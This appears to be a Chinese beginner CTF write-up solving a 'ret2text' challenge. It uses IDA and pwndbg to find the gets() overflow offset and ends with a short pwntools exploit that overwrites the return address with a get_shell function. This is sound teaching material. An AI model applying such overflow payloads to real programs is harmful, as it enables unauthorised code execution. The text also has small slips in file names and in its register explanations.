超简单的Stack Overflow

IDA

1
2
3
4
5
6
7
8
9
10
//反编译伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("Have you heard of buffer overflow?");
vulnerable(&argc);
puts("It seems that you know nothing about it ......");
return 0;
}
1
2
3
4
5
6
7
8
//双击vulnerable,进入vulnerable函数,发现gets(),调试时可以在此输入数据
int vulnerable()
{
char s[12]; // [esp+8h] [ebp-10h] BYREF

gets(s);
return 0;
}

由[ebp-10h]可以知道此处距离ebp为0x10个字节,后面用gdb调试说明

pwndbg

1
2
3
4
# 调试三连
gdb ter2text
b main
r

image-20221202154009111

[ REGISTERS ]说明

我们可以看到这里 EBP 和 ESP 的地址都很高,这也说明栈存放在内存的高地址

1
2
EBP  0xffffd168 ◂— 0x0
ESP 0xffffd160 —▸ 0xffffd180 ◂— 0x1

[ DISASM ]说明

这里只是显示了main函数中的前几行汇编代码

[ STACK ]说明

GDB中以低地址到高地址显示,与实际相反

#

没有发现在IDA里面有价值的vulnerable( ),用 n 不断向下执行,直到指向vulnerable( )地址

image-20221202161428044

接着用 s 步入函数内部,我们可以发现从main变成了vulnerable,说明步入函数体成功

image-20221202161556272

接着我们用 n 继续运行,提示我们要输入数据,我们这里输入不超过12个字节的数据(ida里面显示vulnerable函数定义了数组为char s[12])

1
2
pwndbg> n
aaaaaaaaaaaa

再用stack 20 查看栈具体情况,可以看到数据已经填充了进去。此时ebp的地址为0xffffd158,里面存放原先ebp的地址0xffffd168,ebp的下一条地址是0xffffd15c 里面存放着返回主函数的地址0x80485ae (main+93)
image-20221202162604717

所以我们只需要将白色部分区域覆盖,即填充数据到ebp的长度为(0x18 - 0x8 = 16字节);
再将ebp中的值0x80485ae (main+93)(即粉红框)也覆盖掉(4个字节);
再加上我们的back_door函数地址,就可以获得shell

image-20221202165837052

那么我们要返回的后门地址是什么呢?ida查看有个get_shell函数,点击打开,再鼠标右键copy to assembly

image-20221202171159198

得到返回地址0x8048522

image-20221202171351903

exp

1
python3 exp.py
1
2
3
4
5
6
from pwn import *
io = process("./ret2text")
io.recvline()
payload = b'a'*16 + b'bbbb' + p32(0x8048522)
io.sendline(payload)
io.interactive()